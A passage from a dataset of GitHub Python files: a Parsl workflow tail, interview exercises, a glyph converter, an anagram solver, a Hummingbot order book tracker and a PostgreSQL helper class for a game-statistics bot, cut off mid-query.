in the config\n\n\ndef make_batch(items, batch_size):\n    \"\"\"\n    Create batches of a given size from a list of items.\n    \"\"\"\n    return [items[i:i + batch_size] for i in range(0, len(items), batch_size)]\n\n# ----------------------------------------------------------------\n\n# run the workflow\nconfig_file = '/Users/jcohen/Documents/docker/repositories/docker_python_basics/viz_config.json'\nlogging.info(f'🗂 Workflow configuration loaded from {config_file}')\nprint(\"Loaded config. Running workflow.\")\nlogging.info(f'Starting PDG workflow: staging, rasterization, and web tiling')\nrun_pdg_workflow(config_file)\n# Shutdown and clear the parsl executor\nhtex_kube.executors[0].shutdown() # NOTE: probs don't need this line bc parsl cleans up after itself when run goes smoothly (deletes pods automatically)\nparsl.clear() # NOTE: likely dont need this line either? \n\nprint(\"Script complete.\")","repo_name":"julietcohen/docker_python_basics","sub_path":"parsl_workflow.py","file_name":"parsl_workflow.py","file_ext":"py","file_size_in_byte":13171,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"22713239255","text":"\"\"\"\nassume you have a method isSubstring which checks if one word is a substring of another. \nGiven two strings, s1 and s2, write code to check if s2 is a rotation of s1, using only one call to isSubstring\nexample: \"waterbottle\" is a rotation of \"erbottlewat\"\n\"\"\"\n\n\ndef isSubstring(s1:str, s2:str) -> bool:\n    if len(s1) != len(s2):\n        return False\n    i = s2.index(s1[0])\n    for char in s1:\n        if i >= len(s2):\n            i = 0\n        if char != s2[i]:\n            return False\n        i += 1\n    return True\nif __name__ == \"__main__\":\n    s1 = \"waterbottle\"\n    s2 = \"erbottlewat\"\n    result = isSubstring(s1,s2)\n    print(result)","repo_name":"AntonioDehesa/InterPrep","sub_path":"CTCI/StringRotation/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":646,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"35546430325","text":"import bdfparser\nimport kanji_lists\nfont = bdfparser.Font(\"unifont_jp-15.0.06.bdf\")\n\ndef make_glyph_file(char: str):\n    glyph = font.glyph(char)\n    bitmap = glyph.draw(1)\n    with open(f\"glyphs/{ord(char)}.glyph\", \"wb\") as f:\n        f.write(bytes([bitmap.width(), bitmap.height()]))\n        if bitmap.width() == 8:\n            f.write(bytes(int(x, 16) for x in glyph.meta[\"hexdata\"]))\n        else:\n            for i in range(bitmap.height()):\n                f.write(bytes((int(glyph.meta[\"hexdata\"][i][:2], 16), int(glyph.meta[\"hexdata\"][i][2:], 16))))\n\nfor i in kanji_lists.JOYO:\n    make_glyph_file(i)","repo_name":"yoyoyonono/katsuji","sub_path":"glyph-conversion/glyphconvert.py","file_name":"glyphconvert.py","file_ext":"py","file_size_in_byte":608,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"21658404176","text":"'''\nPointcloud to ellipse library\n\n@author Lukas Huber\n@date 2018-02-21\n\n'''\n\n#\nfrom math import sin, cos, pi\nimport numpy as np\n\n\nclass pointCloudToEllipse():\n    def __init__(self, pointCloud, region, a_obstacle):\n        \n        self.pointCloud = np.zeros((pointCloud.shape))\n\n        for pp in range(pointCloud.shape[1]):\n            self.pointCloud[:,pp] = cylindric2cartesian(pointCloud[:,pp])\n        \n        self.region = region\n        self.checkIfInRegion()\n\n        self.a = a_obstacle\n        \n        self.obs.append(dict())\n        self.obs[it_obs]['a'] = a\n        self.obs[it_obs]['p'] =  []\n        #self.obs[it_obs]['a_sf'] = self.robot_sf + self.r_robot\n\n        self.obs[it_obs]['x0'] =  np.array([0,0])\n        self.obs[it_obs]['th_r'] =  0\n\n    def checkIfInRegion():\n        insideIndices = []\n        for pp in range(self.pointCloud.shape[1]):\n            for rr in range(self.region.shape[1]):\n                # Check wheter obstacle lies on the left ->\n                if rr+1<range(self.region.shape[1]):\n                    v = self.region[:,rr+1] - self.region[:,rr]\n                else:\n                    v = self.region[:,0] - self.region[:,rr]\n\n                v_hat = self.pointCloud - self.region[:,rr]\n\n                if(crossProduct2D(v,v_hat) > 0) :\n                    insideInices.append(pp)\n    \n        # Only keep points inside the range\n        self.pointCloud = self.pointCloud[:,insideIndices]\n\n    def crossProduct2D(v1,v2):\n        return v1[0]*v2[1]-v1[1]*v2[0]\n\n    def cylindric2cartesian(r,phi):\n        return np.array(([r*cos(phi),r*sin(phi)]))\n\n\n","repo_name":"hubernikus/ds_ml_navigation","sub_path":"scripts/Archive/pointCloudToEllipse.py","file_name":"pointCloudToEllipse.py","file_ext":"py","file_size_in_byte":1606,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"12455233517","text":"from collections import Counter\n\n\nclass Dictionary:\n    def __init__(self, word_list: list[str]) -> None:\n        self.word_list = [word.lower() for word in word_list]\n\n    def compute_anagrams(\n        self, input_str: str, target_length: int = None, reusable: str = None\n    ) -> set[str]:\n        \"\"\"Computes all anagrams of the input string\n\n        Args:\n            input_str: A string, which could be a word or jumbled set of letters,\n            anagrams should be computed for. Use * for wildcard characters.\n            target_length: Specifies the target length of the output anagrams.\n                Default to None which results in anagrams that match the length of\n                input_str.\n\n        Raises:\n            TypeError: If the input is not a string.\n\n        Returns:\n            A set of anagrams which are contained within the input string.\n        \"\"\"\n        if not isinstance(input_str, str):\n            raise TypeError(f\"input_str: {input_str} is not a string.\")\n\n        input_str = self._clean_input(input_str)\n\n        if target_length is None:\n            target_length = len(input_str)\n\n        if reusable is not None:\n            reusable = self._clean_input(reusable)\n            input_str = self._reusable_letters(input_str, target_length, reusable)\n\n        output = set()\n        wilcard_temp = Counter({\"*\": 1})\n\n        for word in self.word_list:\n            if len(word) != target_length:\n                continue\n            input_counts = Counter(input_str)\n            check = []\n            for letter in word:\n                if input_counts[letter] > 0:\n                    check.append(True)\n                    input_counts = input_counts - Counter(letter)\n                elif input_counts[\"*\"] > 0:\n                    check.append(True)\n                    input_counts = input_counts - wilcard_temp\n                else:\n                    check.append(False)\n                    break\n\n            if all(check):\n                output.add(word)\n\n        return output\n\n    @staticmethod\n    def _reusable_letters(input_str: str, target_length: int, reusable: str) -> str:\n        \"\"\"Extends the input string with the a set of reusable letters. Each\n        letter is added to the string so that the total number of that letter\n        is equal to target_length.\n\n        Args:\n            input_str: A string, which could be a word or jumbled set of letters,\n            target_length: Number of times the reusable letters will appear in\n                the output string.\n            reusable: A string containing the letters to repeat\n\n        Raises:\n            ValueError: If the letters specified in \"reusable\" cannot be found in\n                \"input_str\".\n\n        Returns:\n            Modified string.\n        \"\"\"\n        reusable = set(reusable)\n        unique_letters = set(input_str)\n        all_letters = list(input_str)\n        letter_counter = Counter(input_str)\n\n        excess_letters = reusable - unique_letters\n        if excess_letters:\n            raise ValueError(\n                \"The letters specified as reusable do not all appear in the input string.\"\n            )\n\n        for letter in reusable:\n            count = letter_counter[letter]\n            for i in range(count, target_length):\n                all_letters.append(letter)\n\n        return \"\".join(sorted(all_letters))\n\n    @staticmethod\n    def _clean_input(string):\n        string = string.lower()\n        return \"\".join(e for e in string if e.isalpha() or e == \"*\")\n\n\nclass AnagramResult:\n    def __init__(self, anagrams: set):\n        self.anagrams = anagrams\n\n    def sort(self, method=None):\n        return sorted(list(self.anagrams), key=method)\n","repo_name":"BenGale93/word_games","sub_path":"word_games/games/anagram.py","file_name":"anagram.py","file_ext":"py","file_size_in_byte":3705,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"13908777795","text":"#!/usr/bin/env python\n\nimport asyncio\nfrom collections import deque, defaultdict\nimport logging\nimport time\nfrom typing import (\n    Deque,\n    Dict,\n    List,\n    Optional\n)\nfrom hummingbot.core.event.events import TradeType\nfrom hummingbot.logger import HummingbotLogger\nfrom hummingbot.core.data_type.order_book_tracker import OrderBookTracker\nfrom hummingbot.connector.exchange.bamboo_relay.bamboo_relay_api_order_book_data_source import BambooRelayAPIOrderBookDataSource\nfrom hummingbot.connector.exchange.bamboo_relay.bamboo_relay_order_book_message import BambooRelayOrderBookMessage\nfrom hummingbot.core.data_type.order_book_message import (\n    OrderBookMessageType,\n    OrderBookMessage\n)\nfrom hummingbot.connector.exchange.bamboo_relay.bamboo_relay_order_book import BambooRelayOrderBook\nfrom hummingbot.connector.exchange.bamboo_relay.bamboo_relay_active_order_tracker import BambooRelayActiveOrderTracker\nfrom hummingbot.wallet.ethereum.ethereum_chain import EthereumChain\nfrom hummingbot.connector.exchange.bamboo_relay.bamboo_relay_constants import (\n    BAMBOO_RELAY_REST_ENDPOINT,\n    BAMBOO_RELAY_TEST_ENDPOINT\n)\n\n\nclass BambooRelayOrderBookTracker(OrderBookTracker):\n    _brobt_logger: Optional[HummingbotLogger] = None\n\n    @classmethod\n    def logger(cls) -> HummingbotLogger:\n        if cls._brobt_logger is None:\n            cls._brobt_logger = logging.getLogger(__name__)\n        return cls._brobt_logger\n\n    def __init__(self,\n                 trading_pairs: List[str],\n                 chain: EthereumChain = EthereumChain.MAIN_NET):\n        super().__init__(data_source=BambooRelayAPIOrderBookDataSource(trading_pairs, chain),\n                         trading_pairs=trading_pairs)\n        self._ev_loop: asyncio.BaseEventLoop = asyncio.get_event_loop()\n        self._order_book_snapshot_stream: asyncio.Queue = asyncio.Queue()\n        self._order_book_diff_stream: asyncio.Queue = asyncio.Queue()\n        self._past_diffs_windows: Dict[str, Deque] = {}\n        self._order_books: Dict[str, BambooRelayOrderBook] = {}\n        self._saved_message_queues: Dict[str, Deque[BambooRelayOrderBookMessage]] = defaultdict(lambda: deque(maxlen=1000))\n        self._active_order_trackers: Dict[str, BambooRelayActiveOrderTracker] = defaultdict(BambooRelayActiveOrderTracker)\n        self._chain = chain\n        if chain is EthereumChain.ROPSTEN:\n            self._api_endpoint = BAMBOO_RELAY_REST_ENDPOINT\n            self._api_prefix = \"ropsten/0x\"\n            self._network_id = 3\n        elif chain is EthereumChain.RINKEBY:\n            self._api_endpoint = BAMBOO_RELAY_REST_ENDPOINT\n            self._api_prefix = \"rinkeby/0x\"\n            self._network_id = 4\n        elif chain is EthereumChain.KOVAN:\n            self._api_endpoint = BAMBOO_RELAY_REST_ENDPOINT\n            self._api_prefix = \"kovan/0x\"\n            self._network_id = 42\n        elif chain is EthereumChain.ZEROEX_TEST:\n            self._api_endpoint = BAMBOO_RELAY_TEST_ENDPOINT\n            self._api_prefix = \"testrpc/0x\"\n            self._network_id = 1337\n        else:\n            self._api_endpoint = BAMBOO_RELAY_REST_ENDPOINT\n            self._api_prefix = \"main/0x\"\n            self._network_id = 1\n\n    def get_active_order_tracker(self, trading_pair: str) -> BambooRelayActiveOrderTracker:\n        if trading_pair not in self._active_order_trackers:\n            raise ValueError(f\"{trading_pair} is not being actively tracked.\")\n        return self._active_order_trackers[trading_pair]\n\n    @property\n    def exchange_name(self) -> str:\n        return \"bamboo_relay\"\n\n    async def _order_book_diff_router(self):\n        \"\"\"\n        Route the real-time order book diff messages to the correct order book.\n        \"\"\"\n        last_message_timestamp: float = time.time()\n        messages_queued: int = 0\n        messages_accepted: int = 0\n        messages_rejected: int = 0\n        address_token_map: Dict[str, any] = await self._data_source.get_all_token_info(self._api_endpoint, self._api_prefix)\n        while True:\n            try:\n                ob_message: BambooRelayOrderBookMessage = await self._order_book_diff_stream.get()\n                base_token_address: str = ob_message.content[\"actions\"][0][\"event\"][\"baseTokenAddress\"]\n                quote_token_address: str = ob_message.content[\"actions\"][0][\"event\"][\"quoteTokenAddress\"]\n                base_token_asset: str = address_token_map[base_token_address][\"symbol\"]\n                quote_token_asset: str = address_token_map[quote_token_address][\"symbol\"]\n                trading_pair: str = f\"{base_token_asset}-{quote_token_asset}\"\n\n                if trading_pair not in self._tracking_message_queues:\n                    messages_queued += 1\n                    # Save diff messages received before snapshots are ready\n                    self._saved_message_queues[trading_pair].append(ob_message)\n                    continue\n                message_queue: asyncio.Queue = self._tracking_message_queues[trading_pair]\n                # Check the order book's initial update ID. If it's larger, don't bother.\n                order_book: BambooRelayOrderBook = self._order_books[trading_pair]\n\n                if order_book.snapshot_uid > ob_message.update_id:\n                    messages_rejected += 1\n                    continue\n                await message_queue.put(ob_message)\n\n                for action in ob_message.content[\"actions\"]:\n                    if action[\"action\"] == \"FILL\":  # put FILL messages to trade queue\n                        trade_type = float(TradeType.BUY.value) if action[\"event\"][\"type\"] == \"BUY\" \\\n                            else float(TradeType.SELL.value)\n                        self._order_book_trade_stream.put_nowait(OrderBookMessage(OrderBookMessageType.TRADE, {\n                            \"trading_pair\": trading_pair,\n                            \"trade_type\": trade_type,\n                            \"trade_id\": ob_message.update_id,\n                            \"update_id\": ob_message.timestamp,\n                            \"price\": action[\"event\"][\"order\"][\"price\"],\n                            \"amount\": action[\"event\"][\"filledBaseTokenAmount\"]\n                        }, timestamp=ob_message.timestamp))\n\n                messages_accepted += 1\n\n                # Log some statistics.\n                now: float = time.time()\n                if int(now / 60.0) > int(last_message_timestamp / 60.0):\n                    self.logger().debug(\"Diff messages processed: %d, rejected: %d, queued: %d\",\n                                        messages_accepted,\n                                        messages_rejected,\n                                        messages_queued)\n                    messages_accepted = 0\n                    messages_rejected = 0\n                    messages_queued = 0\n\n                last_message_timestamp = now\n            except asyncio.CancelledError:\n                raise\n            except Exception:\n                self.logger().network(\n                    f'{\"Unexpected error routing order book messages.\"}',\n                    exc_info=True,\n                    app_warning_msg=f'{\"Unexpected error routing order book messages. Retrying after 5 seconds.\"}'\n                )\n                await asyncio.sleep(5.0)\n\n    async def _track_single_book(self, trading_pair: str):\n        past_diffs_window: Deque[BambooRelayOrderBookMessage] = deque()\n        self._past_diffs_windows[trading_pair] = past_diffs_window\n\n        message_queue: asyncio.Queue = self._tracking_message_queues[trading_pair]\n        order_book: BambooRelayOrderBook = self._order_books[trading_pair]\n        active_order_tracker: BambooRelayActiveOrderTracker = self._active_order_trackers[trading_pair]\n\n        while True:\n            try:\n                message: BambooRelayOrderBookMessage = None\n                saved_messages: Deque[BambooRelayOrderBookMessage] = self._saved_message_queues[trading_pair]\n                # Process saved messages first if there are any\n                if len(saved_messages) > 0:\n                    message = saved_messages.popleft()\n                else:\n                    message = await message_queue.get()\n\n                if message.type is OrderBookMessageType.DIFF:\n                    # Diff message just refreshes the entire snapshot\n                    bids, asks = active_order_tracker.convert_diff_message_to_order_book_row(message)\n                    order_book.apply_snapshot(bids, asks, message.update_id)\n                elif message.type is OrderBookMessageType.SNAPSHOT:\n                    s_bids, s_asks = active_order_tracker.convert_snapshot_message_to_order_book_row(message)\n                    order_book.apply_snapshot(s_bids, s_asks, message.update_id)\n\n                    self.logger().debug(\"Processed order book snapshot for %s.\", trading_pair)\n            except asyncio.CancelledError:\n                raise\n            except Exception:\n                self.logger().network(\n                    f\"Unexpected error tracking order book for {trading_pair}.\",\n                    exc_info=True,\n                    app_warning_msg=f'{\"Unexpected error tracking order book. Retrying after 5 seconds.\"}'\n                )\n                await asyncio.sleep(5.0)\n","repo_name":"idexio/hummingbot-dev","sub_path":"hummingbot/connector/exchange/bamboo_relay/bamboo_relay_order_book_tracker.py","file_name":"bamboo_relay_order_book_tracker.py","file_ext":"py","file_size_in_byte":9273,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"38"}
{"seq_id":"3690793873","text":"import psycopg2\nimport logging\nfrom utils.player import PlayerStats\nimport config\n\nclass DB():\n    def __init__(self, prod:bool):\n        self._logger = logging.getLogger(__name__)\n        self._logger.debug(\"Initialization in productive Environment: %s\",str(prod))\n\n        self._savedAllianceData = []\n\n        self._prod = prod\n        self._connect()\n\n    def _connect(self):\n        if self._prod:\n            try:\n                self._conn = psycopg2.connect(host=config.prodDbHost, database=config.prodDatabase, user=config.podDbUser, password=config.prodDbPassword, port=config.pordDbPort)\n                self._logger.debug(\"DB connected\")\n            except psycopg2.Error as e:\n                self._logger.critical(\"DB connection failed\")\n                self._logger.critical(e)\n        else:\n            try:\n                self._conn = psycopg2.connect(host=config.devDbHost, database=config.devDatabase, user=config.devDbUser, password=config.devDbPassword, port=config.devDbPort)\n                self._logger.debug(\"DB connected\")\n            except psycopg2.Error as e:\n                self._logger.critical(\"DB connection failed\")\n                self._logger.critical(e)\n        \n        self._cur = self._conn.cursor()\n\n    def _read(self, sql, data=None):\n        self._logger.debug(\"Read from Db\")\n        self._logger.debug(sql)\n        self._logger.debug(data)\n\n        try:\n            self._cur.execute(sql,data)\n            data = self._cur.fetchall()\n        except psycopg2.Error as e:\n            self._logger.warning(\"Failed to Read\")\n            self._logger.warning(e)\n\n            #Reconect and try again\n            self._logger.debug(\"Retrying read operation\")\n            try:\n                self._connect()\n                self._cur.execute(sql,data)\n                data = self._cur.fetchall()\n            except psycopg2.Error as e:\n                self._logger.critical(\"Retry Read Failed\")\n                self._logger.critical(e)\n        \n        self._logger.debug(\"data read: %s\", data)\n        return data\n\n    def _readOne(self, sql:str, data:tuple):\n        self._logger.debug(\"Read one from Db\")\n        self._logger.debug(sql)\n        self._logger.debug(data)\n\n        try:\n            self._cur.execute(sql,data)\n            data = self._cur.fetchone()\n        except psycopg2.Error as e:\n            self._logger.warning(\"Failed to read one\")\n            self._logger.warning(e)\n            \n            #Reconect and try again\n            self._logger.debug(\"Retrying read operation\")\n            try:\n                self._connect()\n                self._cur.execute(sql,data)\n                data = self._cur.fetchone()\n            except psycopg2.Error as e:\n                self._logger.critical(\"Retry read one Failed\")\n                self._logger.critical(e)\n\n        self._logger.debug(\"data read: %s\", data)\n        return data\n\n    def _write(self, sql:str, data:tuple):\n        self._logger.debug(\"Write into Db\")\n        self._logger.debug(sql)\n        self._logger.debug(data)\n\n        try:\n            self._cur.execute(sql,data)\n            self._conn.commit()\n        except Exception as e:\n            \n            #Reconect and try again\n            self._logger.debug(\"Retrying write operation\")\n            try:\n                self._connect()\n                self._cur.execute(sql,data)\n                self._conn.commit()\n            except psycopg2.Error as e:\n                self._logger.critical(\"Write Failed\")\n                self._logger.critical(e)\n\n    def _writePlayer(self, player:PlayerStats):\n        sql = \"\"\"INSERT INTO public.player(\n            \"playerId\", \"playerName\", \"playerUniverse\", \"playerGalaxy\", \"allianceId\")\n            VALUES (%s, %s, %s, %s, %s)\n            on conflict (\"playerId\") DO UPDATE \n            SET \"playerName\" = excluded.\"playerName\",\n                \"allianceId\" = excluded.\"allianceId\",\n                \"timestamp\" = now();\"\"\"\n        \n        self._write(sql,(player.playerId, player.playerName,player.playerUniverse,\n            player.playerGalaxy, player.allianceId))\n\n    def _writeAllianz(self, player:PlayerStats):\n        if player.allianceId in self._savedAllianceData:\n            return\n        self._savedAllianceData.append(player.allianceId)\n\n        sql = \"\"\"INSERT INTO public.alliance(\n            \"allianceId\", \"allianceName\")\n            VALUES (%s, %s)\n            on conflict (\"allianceId\") DO UPDATE \n            SET \"allianceName\" = excluded.\"allianceName\",\n                \"timestamp\" = now(); \"\"\"\n        \n        self._write(sql,(player.allianceId, player.allianceName))\n\n    def _writeStats(self, player:PlayerStats):\n        sql = \"\"\"INSERT INTO public.stats(\n            \"rank\", \"score\", \"researchRank\", \"researchScore\", \"buildingRank\", \"buildingScore\",\n            \"defensiveRank\", \"defensiveScore\", \"fleetRank\", \"fleetScore\", \"battlesWon\", \"battlesLost\",\n            \"battlesDraw\", \"debrisMetal\", \"debrisCrystal\", \"unitsDestroyed\", \"unitsLost\", \"playerId\",\n            \"realDebrisMetal\", \"realDebrisCrystal\", \"realUnitsDestroyed\", \"realUnitsLost\")\n            VALUES ( %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s);\"\"\"\n        \n        self._write(sql,(player.rank, player.score, player.researchRank, player.researchScore, player.buildingRank,\n            player.buildingScore, player.defensiveRank, player.defensiveScore, player.fleetRank,\n            player.fleetScore, player.battlesWon, player.battlesLost, player.battlesDraw,\n            player.debrisMetal, player.debrisCrystal, player.unitsDestroyed, player.unitsLost,\n            player.playerId, player.realDebrisMetal, player.realDebrisCrystal, player.realUnitsDestroyed,\n            player.realUnitsLost))\n\n    def getAuthRole(self, userID:str):\n        sql = \"\"\" SELECT \"roleId\" FROM public.authorization\n            WHERE \"userId\" = %s;\"\"\"\n\n        try:\n            return self._readOne(sql,(userID,))[0]\n        except:\n            return -1\n\n    def getPlayerStats(self, playerId:str):\n\n        sql = \"\"\"SELECT \"dbKey\", rank, score, \"researchRank\", \"researchScore\", \"buildingRank\", \"buildingScore\", \"defensiveRank\",\n            \"defensiveScore\", \"fleetRank\", \"fleetScore\", \"battlesWon\", \"battlesLost\", \"battlesDraw\", \"debrisMetal\", \"debrisCrystal\",\n            \"unitsDestroyed\", \"unitsLost\", \"playerId\", \"realDebrisMetal\", \"realDebrisCrystal\", \"realUnitsDestroyed\", \"timestamp\"\n            FROM public.stats\n            where stats.\"playerId\" = %s\n            ORDER BY stats.\"timestamp\" DESC\n            LIMIT 300\"\"\"\n\n        return self._read(sql,(playerId,))\n\n    def getAlliance(self, allianceName:str):\n        sql = \"\"\"SELECT * from public.\"alliance\"\n            where lower(alliance.\"allianceName\") = lower(%s);\"\"\"\n\n        return self._readOne(sql,(allianceName,))\n\n    def getAllianceById(self, allianceId:str):\n        sql = \"\"\"SELECT * from public.\"alliance\"\n            where alliance.\"allianceId\" = %s;\"\"\"\n\n        return self._readOne(sql,(allianceId,))\n\n    def getPlayerPlanets(self, playerId:str):\n        sql = \"\"\" SELECT \"dbKey\",\n            \"playerId\",\n            GALAXY,\n            SYSTEM,\n            \"position\",\n            MOON,\n            \"sensorPhalanx\",\n            \"jumpgate\",\n            \"timestamp\"\n        FROM PUBLIC.PLANET\n        WHERE planet.\"playerId\" = %s\"\"\"\n\n        return self._read(sql,(playerId,))\n\n    def getPlayerDataByName(self, userName:str):\n        sql = \"\"\" SELECT * FROM public.player\n            WHERE lower(player.\"playerName\")=lower(%s)\"\"\"\n\n        return self._readOne(sql,(userName,))\n\n    def getPlayerDataById(self, playerId:str):\n        sql = \"\"\" SELECT * FROM public.player\n            WHERE player.\"playerId\"=%s\"\"\"\n\n        return self._readOne(sql,(playerId,))\n    \n    def updatePlanet(self, galaxy:int, system:int, position:int, playerId:str=-1):\n        sql = \"\"\"INSERT INTO public.planet(\n            \"playerId\", \"galaxy\", \"system\", \"position\")\n            VALUES ( %s, %s, %s, %s)\n            on conflict (\"galaxy\", \"system\", \"position\") DO UPDATE \n            SET \"playerId\" = excluded.\"playerId\",\n                \"galaxy\" = excluded.\"galaxy\",\n                \"system\" = excluded.\"system\",\n                \"position\" = excluded.\"position\",\n                \"timestamp\" = now()\"\"\"\n        \n        self._write(sql,(playerId, galaxy, system, position))\n    \n    def delNotify(self, id:str, type:str):\n        sql = \"\"\"DELETE FROM public.notify\n            WHERE notify.\"id\" = %s\n            AND notify.\"type\" = %s;\"\"\"\n        \n        return self._write(sql,(id,type,))\n\n    def getResearch(self, playerId:str):\n        sql = \"\"\"SELECT\n            WEAPON,\n            SHIELD,\n            ARMOR,\n            COMBUSTION,\n            IMPULSE,\n            HYPERSPACE,\n            \"timestamp\"\n        FROM PUBLIC.RESEARCH\n\t    WHERE research.\"playerId\" = %s\"\"\"\n\n        return self._readOne(sql,(playerId,))\n\n    def getAllianceStats(self, allianceID:str):\n        sql = \"\"\"SELECT DISTINCT ON (player.\"playerId\") stats.\"timestamp\", player.\"playerId\", * from public.\"stats\"\n            inner join player on player.\"playerId\" = stats.\"playerId\"\n            where player.\"allianceId\" = %s\n            ORDER BY player.\"playerId\", stats.\"timestamp\" DESC\"\"\"\n\n        return self._read(sql,(allianceID,))\n\n    def getAllGalaxyMoons(self, galaxy:int):\n        sql = \"\"\"SELECT \"playerId\",\n            \"system\",\n            \"sensorPhalanx\"\n        FROM PUBLIC.\"planet\"\n        WHERE PLANET.\"galaxy\" = %s\n            AND \"moon\" = TRUE\"\"\"\n\n        return self._read(sql,(galaxy,))\n\n    def getAllMoons(self):\n        sql = \"\"\"SELECT \"playerId\",\n            \"galaxy\", \n            \"system\",\n            \"sensorPhalanx\"\n        FROM PUBLIC.\"planet\"\n        WHERE \"moon\" = TRUE\"\"\"\n\n        return self._read(sql,())\n\n    def getAllianceMember(self, allianceId):\n        sql = \"\"\"SELECT \"playerId\"\n        FROM public.player\n        WHERE \"allianceId\" = %s\"\"\"\n\n        return self._read(sql,(allianceId,))\n\n    def getAllAllianceStats(self, allianceID:str):\n        sql = \"\"\"\n            SELECT PLAYER.\"playerName\",\n                RANK,\n                SCORE,\n                STATS.\"researchScore\",\n                STATS.\"buildingScore\",\n                STATS.\"defensiveScore\",\n                STATS.\"fleetScore\",\n                STATS.\"timestamp\"\n            FROM PUBLIC.\"stats\"\n            INNER JOIN PLAYER ON PLAYER.\"playerId\" = STATS.\"playerId\"\n            WHERE PLAYER.\"allianceId\" = %s\n            ORDER BY STATS.\"timestamp\" ASC\"\"\"\n\n        return self._read(sql,(allianceID,))\n\n    def getCurrentPlayerData(self):\n        sql = \"\"\"\n            SELECT \n                PLAYER.\"playerName\",\n                PLAYER.\"playerId\",\n                SCORE,\n                STATS.\"timestamp\"\n            FROM PUBLIC.\"stats\"\n            INNER JOIN PLAYER ON PLAYER.\"playerId\" = STATS.\"playerId\"\n            WHERE stats.\"timestamp\" > current_date - interval '2' day\n            ORDER BY STATS.\"timestamp\" DESC\"\"\"\n        \n        return self._read(sql,())\n\n    def getAlliancePlanets(self, allianceId:str):\n        sql = \"\"\"SELECT \n            PLAYER.\"playerName\",\n            PLAYER.\"playerId\",\n            PLANET.\"galaxy\",\n            PLANET.\"system\",\n            PLANET.\"position\",\n            PLANET.\"moon\"\n        FROM PUBLIC.\"player\"\n        INNER JOIN PUBLIC.\"planet\" ON PLANET.\"playerId\" = PLAYER.\"playerId\"\n        WHERE PLAYER.\"allianceId\" = %s\"\"\"\n\n        return self._read(sql,(allianceId,))\n    \n    def getNotify(self, id:str, type:str):\n        sql = \"\"\"SELECT \"id\",\n            \"type\",\n            \"guildId\"\n\t        FROM public.notify\n            WHERE notify.\"id\" = %s\n            AND notify.\"type\" = %s;\"\"\"\n\n        return self._read(sql,(id,type,))\n\n    def getNotifyByType(self, type:str):\n        sql = \"\"\"SELECT \"id\",\n            \"type\",\n            \"guildId\",\n            \"playerId\"\n\t        FROM public.notify\n            WHERE notify.\"type\" = %s;\"\"\"\n\n        return self._read(sql,(type,))\n\n    def getPlanet(self, gal:int, sys:int, pos:int):\n        sql = \"\"\" SELECT \"dbKey\",\n            \"playerId\",\n            GALAXY,\n            SYSTEM,\n            position,\n            MOON,\n            \"sensorPhalanx\",\n            \"jumpgate\",\n            \"timestamp\"\n        FROM PUBLIC.PLANET\n        WHERE planet.\"galaxy\" = %s\n        AND planet.\"system\" = %s\n        AND planet.\"position\" = %s\"\"\"\n\n        return self._readOne(sql,(gal,sys,pos))\n\n\n    def getScoreForExpo(self):\n        sql = \"\"\"SELECT STATS.\"score\"\n            FROM PUBLIC.\"stats\"\n            WHERE STATS.\"rank\" = 1\n            ORDER BY STATS.\"timestamp\" DESC\n            LIMIT 2\"\"\"\n        \n        return self._read(sql,())\n\n    def getLinkByDiscordId(self, discordId):\n        sql = \"\"\"SELECT \"playerId\" FROM PUBLIC.LINK\n                WHERE \"discordId\" = %s; \"\"\"\n        \n        return self._readOne(sql,(discordId,))\n\n    def getLinkByName(self, discordName):\n        sql = \"\"\"SELECT \"playerId\" FROM PUBLIC.LINK\n                WHERE lower(\"discordName\") = lower(%s); \"\"\"\n        \n        return self._readOne(sql,(discordName,))\n\n    def setSpyReport(self, reportId, playerId, type, galaxy, system, position, metal, crystal, deuterium, kt, gt, lj ,sj ,xer, ss,\n                     kolo, rec, spio, b, stats, z, rip, sxer, rak, ll, sl, gauss, ion, plas, klsk, grsk, simu):\n        sql = \"\"\"INSERT INTO PUBLIC.SPYREPORT(\"reportId\",\n            \"playerId\",\n            TYPE,\n            GALAXY,\n            SYSTEM,\n            \"position\",\n            METAL,\n            CRYSTAL,\n            DEUTERIUM,\n            KT,\n            GT,\n            LJ,\n            SJ,\n            XER,\n            SS,\n            KOLO,\n            REC,\n            SPIO,\n            B,\n            SATS,\n            Z,\n            RIP,\n            SXER,\n            RAK,\n            LL,\n            SL,\n            GAUSS,\n            ION,\n            PLAS,\n            KLSK,\n            GRSK,\n            SIMU)\n            VALUES (%s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s)\"\"\"\n\n        self._write(sql,(reportId, playerId, type, galaxy, system, position, metal, crystal, deuterium, kt, gt, lj ,sj ,xer, ss,\n                         kolo, rec, spio, b, stats, z, rip, sxer, rak, ll, sl, gauss, ion, plas, klsk, grsk, simu))\n\n    def setNotify(self, channelId:str, type:str, guildID:str=None, playerId:str=None):\n        sql = \"\"\"INSERT INTO public.notify(\n            \"id\", \"type\", \"guildId\", \"playerId\")\n            VALUES (%s,%s,%s,%s);\"\"\"\n\n        self._write(sql,(channelId,type,guildID, playerId))\n    \n    def setLink(self, playerId:str, discorId:str, discordName:str):\n        sql = \"\"\"INSERT INTO public.link(\n            \"playerId\", \"discordId\", \"discordName\")\n            VALUES (%s, %s, %s)\n            on conflict (\"discordId\") DO UPDATE \n            SET \"playerId\" = excluded.\"playerId\",\n                \"discordId\" = excluded.\"discordId\",\n                \"discordName\" = excluded.\"discordName\"\n                \"\"\"\n\n        self._write(sql,(playerId,discorId,discordName))\n\n    def setResearchAttack(self, playerId:str, weapon:int, shield:int, armor:int):\n        sql = \"\"\" INSERT INTO public.research(\n            \"playerId\", \"weapon\", \"shield\", \"armor\")\n            VALUES (%s, %s, %s, %s)\n            on conflict (\"playerId\") DO UPDATE \n            SET 